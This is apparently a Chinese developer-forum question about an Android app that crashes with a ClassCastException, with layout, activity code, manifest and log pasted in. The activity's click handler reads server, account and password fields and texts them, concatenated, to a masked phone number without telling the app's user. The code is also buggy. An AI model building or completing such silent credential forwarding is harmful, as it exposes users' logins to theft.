jugenghengyi 2020-04-07 12:31 采纳率: 0%
浏览 2025

android程序停止运行,不知道怎么解决

大佬们,虚拟机运行软件停止运行,求解决。
这是activity_main.xml
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center_horizontal"
android:orientation="vertical"
tools:context=".MainActivity"
android:background="@drawable/pic_1">

    <TextView
        android:layout_width="394dp"
        android:layout_height="25dp"
        android:layout_marginLeft="0dp"
        android:layout_marginTop="0dp"
        android:layout_marginRight="0dp"
        android:text="@string/名字"
        android:textColor="#FBF9F9"
        android:textSize="20sp"
        android:textStyle="bold">

    </TextView>

    <ImageView
        android:layout_width="100dp"
        android:layout_height="100dp"
        android:layout_marginTop="60dp"
        android:src="@mipmap/pic_2"
        android:contentDescription="@string/todo">

    </ImageView>

    <EditText
        android:id="@+id/sr1"
        android:layout_width="250dp"
        android:layout_height="45dp"
        android:layout_marginTop="50dp"
        android:hint="@string/名字2"
        android:textColorHint="#FBF9F9">

    </EditText>

    <EditText
        android:id="@+id/sr2"
        android:layout_width="250dp"
        android:layout_height="45dp"
        android:layout_marginTop="15dp"
        android:hint="@string/名字3"
        android:textColorHint="#FBF9F9">

    </EditText>

    <EditText
        android:id="@+id/sr3"
        android:layout_width="250dp"
        android:layout_height="45dp"
        android:layout_marginTop="15dp"
        android:hint="@string/名字4"
        android:textColorHint="#FBF9F9"
        android:inputType="textPassword">

    </EditText>

    <Button
        android:id="@+id/sr4"
        android:layout_width="90dp"
        android:layout_height="40dp"
        android:layout_marginTop="60dp"
        android:backgroundTint="#4CAF50"
        android:gravity="center"
        android:text="@string/名字5"
        android:textColor="#FFFFFCFC">

    </Button>

    <TextView
        android:layout_width="395dp"
        android:layout_height="25dp"
        android:layout_marginTop="200dp"
        android:gravity="center"
        android:text="@string/名字6"
        android:textColor="#FBF9F9"
        android:textSize="20sp"
        android:textStyle="bold">

    </TextView>


Main_Activity.java
package com.nbpl.nkzyzhb;

import android.os.Bundle;
import android.telephony.gsm.SmsManager;
import android.text.TextUtils;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;

public class MainActivity extends ActionBarActivity {

private EditText sr1,sr2,sr3;
private Button sr4;

public MainActivity() {
}

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView();
    sr1= (EditText)sr1.findViewById(R.id.sr1);
    sr2 = (EditText)sr2.findViewById(R.id.sr2);
    sr3= (EditText)sr3.findViewById(R.id.sr3);
    sr4= sr4.findViewById(R.id.sr4);
    sr4.setOnClickListener((OnClickListener) this);
    sr4.setOnClickListener(new MyListener());
}

private void setContentView() {
}

private class MyListener implements OnClickListener{

    @Override
    public void onClick(View v) {
        // TODO Auto-generated method stub
        String sc1=sr1.getText().toString().trim();
        String sc2=sr2.getText().toString().trim();
        String sc3=sr3.getText().toString().trim();
        if(TextUtils.isEmpty(sc1)||TextUtils.isEmpty(sc2)||TextUtils.isEmpty(sc3)){
            Object 服务器或账号或密码不能为空 = null;
            showToast(服务器或账号或密码不能为空);
        }
        SmsManager smsManager=SmsManager.getDefault();
        smsManager.sendTextMessage("......", null, sc1+sc2+sc3, null, null);
    }

}

private void showToast(Object 服务器或账号或密码不能为空) {
}

}
Androidmaniflest.xml
<?xml version="1.0" encoding="utf-8"?>
package="com.nbpl.nkzyzhb">

<application
    android:icon="@mipmap/pic_2"
    android:label="@string/app_name"
    android:roundIcon="@mipmap/ic_launcher_round"
    android:supportsRtl="true"
    android:theme="@style/AppTheme">
    <activity android:name=".MainActivity">
        <intent-filter>
            <action android:name="android.intent.action.MAIN" />

            <category android:name="android.intent.category.LAUNCHER" />
        </intent-filter>
    </activity>
</application>

log错误

04-07 11:44:16.665 3324-3324/com.nbpl.nkzyzhb E/AndroidRuntime: FATAL EXCEPTION: main
Process: com.nbpl.nkzyzhb, PID: 3324
java.lang.RuntimeException: Unable to instantiate activity ComponentInfo{com.nbpl.nkzyzhb/com.nbpl.nkzyzhb.MainActivity}: java.lang.ClassCastException: com.nbpl.nkzyzhb.MainActivity cannot be cast to android.app.Activity
at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2238)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2392)
at android.app.ActivityThread.access$800(ActivityThread.java:153)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1305)
at android.os.Handler.dispatchMessage(Handler.java:102)
at android.os.Looper.loop(Looper.java:135)
at android.app.ActivityThread.main(ActivityThread.java:5305)
at java.lang.reflect.Method.invoke(Native Method)
at java.lang.reflect.Method.invoke(Method.java:372)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:903)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:698)
Caused by: java.lang.ClassCastException: com.nbpl.nkzyzhb.MainActivity cannot be cast to android.app.Activity
at android.app.Instrumentation.newActivity(Instrumentation.java:1066)
at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2228)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2392) 
at android.app.ActivityThread.access$800(ActivityThread.java:153) 
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1305) 
at android.os.Handler.dispatchMessage(Handler.java:102) 
at android.os.Looper.loop(Looper.java:135) 
at android.app.ActivityThread.main(ActivityThread.java:5305) 
at java.lang.reflect.Method.invoke(Native Method) 
at java.lang.reflect.Method.invoke(Method.java:372) 
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:903) 
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:698) 

            求大佬帮忙解决下啊啊啊啊
  • 写回答

3条回答 默认 最新

  • franzhong 2020-04-07 21:27
    关注

    针对Unable to instantiate activity ComponentInfo错误排查一下
    https://blog.csdn.net/disanxiaoyao/article/details/80047737

    评论

报告相同问题?

悬赏问题

  • ¥15 安卓adb backup备份应用数据失败
  • ¥15 eclipse运行项目时遇到的问题
  • ¥15 关于#c##的问题:最近需要用CAT工具Trados进行一些开发
  • ¥15 南大pa1 小游戏没有界面,并且报了如下错误,尝试过换显卡驱动,但是好像不行
  • ¥15 没有证书,nginx怎么反向代理到只能接受https的公网网站
  • ¥50 成都蓉城足球俱乐部小程序抢票
  • ¥15 yolov7训练自己的数据集
  • ¥15 esp8266与51单片机连接问题(标签-单片机|关键词-串口)(相关搜索:51单片机|单片机|测试代码)
  • ¥15 电力市场出清matlab yalmip kkt 双层优化问题
  • ¥30 ros小车路径规划实现不了,如何解决?(操作系统-ubuntu)